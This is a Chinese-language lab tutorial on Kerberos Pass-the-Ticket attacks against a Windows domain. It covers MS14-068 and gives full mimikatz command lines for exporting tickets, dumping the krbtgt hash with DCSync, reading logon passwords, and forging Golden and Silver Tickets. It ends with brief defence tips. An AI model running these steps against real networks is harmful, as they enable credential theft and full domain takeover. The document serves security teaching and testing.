域滲透——Pass The Ticket

wyzsk發表於2020-08-19
作者: 三好學生 · 2016/01/22 10:47

0x00 前言


上篇介紹了有關Pass The Hash 和Pass The Key的技巧,這次接著介紹一下Pass The Ticket

Alt text

此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/

0x01 簡介


在域環境中,Kerberos協議被用來作身份認證,上圖所示即為一次簡單的身份認證流程,具體細節可以參考相關資料,這裡僅介紹幾個名詞:

  • KDC(Key Distribution Center): 金鑰分發中心,裡面包含兩個服務:AS和TGS
  • AS(Authentication Server): 身份認證服務
  • TGS(Ticket Granting Server): 票據授予服務
  • TGT(Ticket Granting Ticket): 由身份認證服務授予的票據,用於身份認證,儲存在記憶體,預設有效期為10小時
  • Pass The Ticket: 如果我們能夠拿到使用者的TGT,並將其匯入到記憶體,就可以冒充該使用者獲得其訪問許可權

在瞭解了相關名詞之後,我們從實際利用的角度來介紹與Pass The Ticket有關的技術

測試環境:

#!bash
域控:
os:server 2008 r2 x64
ip:192.168.40.132

域內主機:
os:win7 x64
ip:192.168.40.225

0x02 MS14-068


時至今日,該漏洞已經過去一年多,針對其攻擊的防禦檢測方法已經很成熟,所以對其利用方法做一個回顧。

1、PyKEK

最先公開的利用方法是Sylvain Monné用Python實現的PyKEK

準備條件:

  • 域使用者及其口令
  • 域使用者對應sid
  • 域控地址
  • Win7及以上系統

Tips:

  1. 作業系統要求Win7及以上,這是因為XP不支援匯入Ticket
  2. 攻擊主機可使用其他域使用者資訊,比如可以在主機A上用域使用者B的口令及sid攻擊
  3. 將Python指令碼轉成exe即可在任意一臺Windows主機使用

漏洞利用的步驟為:

  • 如果漏洞觸發成功,會生成.ccache檔案
  • 透過klist purge先清除記憶體中的Ticket
  • 使用mimikatz的ptc功能將.ccache匯入到記憶體
  • 透過klist檢視匯入的Ticket
  • 使用net use 連線域控

Tips:

  1. 如果不先清除記憶體中的Ticket直接匯入,有可能會失敗
  2. 連線域控要使用域控地址,不要用IP

2、kekeo

Benjamin DELPY用c實現了MS14-068的利用工具,更簡單高效。

因為域使用者對應sid本就可以透過程式自動獲取,清除匯入票據也能自動實現,當然,如果想用其他域使用者資訊攻擊,也可以加上sid手動匯入票據

kekeo的快捷用法僅需要以下引數:

  • 域使用者及其口令
  • 域控地址

實際測試如圖,成功獲得了域控的訪問許可權

Alt text

Alt text

下載地址:
https://github.com/gentilkiwi/kekeo/releases

0x03 Export the ticket


在我們成功獲得域控許可權後,就可以匯出域控記憶體中的Ticket,在預設的10個小時以內都可以利用來登入域控

透過mimikatz匯出記憶體中的Ticket,執行:

#!bash
sekurlsa::tickets /export

如圖 Alt text

儲存成檔案,一共匯出如下檔案,如圖 Alt text

挑選其中的[0;2d87a][email protected]在域普通使用者的主機進行匯入

執行:

#!bash
mimikatz "kerberos::ptt C:\test\[0;2d87a][email protected]"

如圖,匯入成功 Alt text

檢視是否有域控許可權,如圖 Alt text

Tips:

  1. 64位系統使用ptt功能要用32位的mimikatz,如果用64的mimikatz,那麼無法匯入Ticket
  2. 這種方式匯入的Ticket預設在10小時以內生效

0x04 Golden Ticket


每個使用者的Ticket都是由krbtgt的密碼Hash來生成的,那麼,我們如果拿到了krbtgt的密碼Hash,不就可以隨意偽造Ticket了嗎?

實際上只要拿到了域控許可權,在上面就可以很容易的獲得krbtgt的Hash值,再透過mimikatz即可生成任意使用者任何許可權的Ticket,也就是Golden Ticket

1、匯出krbtgt的Hash

在域控上執行

#!bash
mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"

生成mimikatz.log記錄輸出,使用log輸出是為了方便複製Hash值

如圖: Alt text

找到如下資訊:

#!bash
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826 
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f

2、生成Golden Ticket

偽造的使用者設定為god,執行

#!bash
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god 
/ticket:gold.kirbi"

生成檔案gold.kirbi

Tips:

生成Golden Ticket不僅可以使用aes256,也可用krbtgt的NTLM hash
可以用mimikatz "lsadump::lsa /patch"匯出

如圖 Alt text

匯入Golden Ticket,執行如下命令:

#!bash
kerberos::ptt c:\test\gold.kirbi

如圖,成功獲得域控許可權 Alt text

Tips:

  1. 這種方式匯入的Ticket預設在20分鐘以內生效,當然,如果過期了,再次ptt匯入Golden Ticket就好
  2. 可以偽造任意使用者,即使其不存在
  3. krbtgt的NTLM hash不會輕易改變,即使修改域控管理員密碼

0x05 Silver Ticket


Silver Ticket是偽造的TGS(Ticket Granting Server)ticket,所以也叫service ticket

將它同Golden Ticket做對比:

1、訪問許可權不同

Golden Ticket是偽造的TGT(Ticket Granting Ticket),所以可以獲取任何Kerberos服務許可權

Silver Ticket是偽造的TGS,也就是說其範圍有限,只能訪問指定的服務許可權

2、加密方式不同

Golden Ticket是由krbtgt的hash加密

Silver Ticket是由服務賬戶(通常為計算機賬戶)hash加密

3、認證流程不同

Golden Ticket在使用的過程需要同域控通訊

Silver Ticket在使用的過程不需要同域控通訊

舉例說明Silver Ticket:

正常的認證流程為 Alt text

此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/

如果使用了Silver Ticket,認證流程變為 Alt text

此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/

不難看出其中取消了步驟1-4

也就是說只要手裡有Silver Ticket,就可以跳過KDC認證,直接去訪問指定的服務。

比如現在要訪問域控上的“cifs”服務(cifs服務用於Windows主機間的檔案共享)

首先需要獲得如下資訊:

  • /domain
  • /sid
  • /target:目標伺服器的域名全稱,此處為域控的全稱
  • /service:目標伺服器上面的kerberos服務,此處為cifs
  • /rc4:計算機賬戶的NTLM hash,域控主機的計算機賬戶
  • /user:要偽造的使用者名稱,此處可用silver測試

在域控上執行如下命令來獲取域控主機的本地管理員賬戶hash

#!bash
mimikatz log "sekurlsa::logonpasswords"

如圖 Alt text

注:

此處要找到計算機賬戶,也就是Username : WIN-8VVLRPIAJB0$NTLM hash,如果是其他賬戶,那麼會失敗

整理以上獲得的資訊如下:

  • /domain:test.local
  • /sid:S-1-5-21-4155807533-921486164-2767329826
  • /target:WIN-8VVLRPIAJB0.test.local
  • /service:cifs
  • /rc4:d5304f9ea69523479560ca4ebb5a2155
  • /user:silver

使用mimikatz執行如下命令匯入Silver Ticket

#!bash
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"

如圖,成功匯入,此時可以成功訪問域控上的檔案共享

Alt text

Alt text

為了加深理解,再舉一個例子

訪問域控上的“LDAP”服務

整理資訊如下,只需要把/service的名稱改為LDAP,/user改為krbtgt,/rc4改為krbtgt的NTLM HASH

  • /domain:test.local
  • /sid:S-1-5-21-4155807533-921486164-2767329826
  • /target:WIN-8VVLRPIAJB0.test.local
  • /service:LDAP
  • /rc4:d5304f9ea69523479560ca4ebb5a2155
  • /user:krbtgt

mimikatz匯入Silver Ticket的命令為:

#!bash
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:LDAP /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:krbtgt /ptt"

此時dir \\WIN-8VVLRPIAJB0.test.local\c$ 發現無法訪問,也就是前面提到的

Silver Ticket是偽造的TGS,也就是說其範圍有限,只能訪問指定的服務許可權

如圖,雖然成功匯入,但是無法訪問域控的檔案共享 Alt text

但是執行如下命令可以遠端訪問LDAP服務來獲得krbtgt的資訊:

#!bash
mimikatz "lsadump::dcsync /dc:WIN-8VVLRPIAJB0.test.local /domain:test.local /user:krbtgt"

如圖,成功遠端獲得krbtgt賬戶資訊 Alt text

注:

lsadump::dcsync
向 DC 發起一個同步物件(可獲取帳戶的密碼資訊)的質詢。
需要的許可權包括管理員組(Administrators),域管理員組( Domain Admins)或企業管理員組(Enterprise Admins)以及域控制器的計算機帳戶
只讀域控制器預設不允許讀取使用者密碼資料

引數選項:

/user - 要查詢的使用者id 或 SID
/domain(可選的)預設設定為當前域。
/dc(可選的)指定DCSync 連線的域控位置

當然,還有其他服務可透過偽造Silver Ticket訪問:

如圖列舉了其他可用作Silver Ticket的服務: Alt text

此圖片引用自https://adsecurity.org/?p=2011

0x06 防禦


  1. 域控及時更新補丁
  2. 時刻監控域控日誌
  3. 限制mimikatz使用

0x07 小結


本文介紹了和Pass The Ticket有關的技術,著重對實際使用的一些情況做了演示,無論攻防,只有實踐,才會進步。

Real knowledge comes from practices.

0x08 參考資料:


本文由三好學生原創並首發於烏雲drops,轉載請註明

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章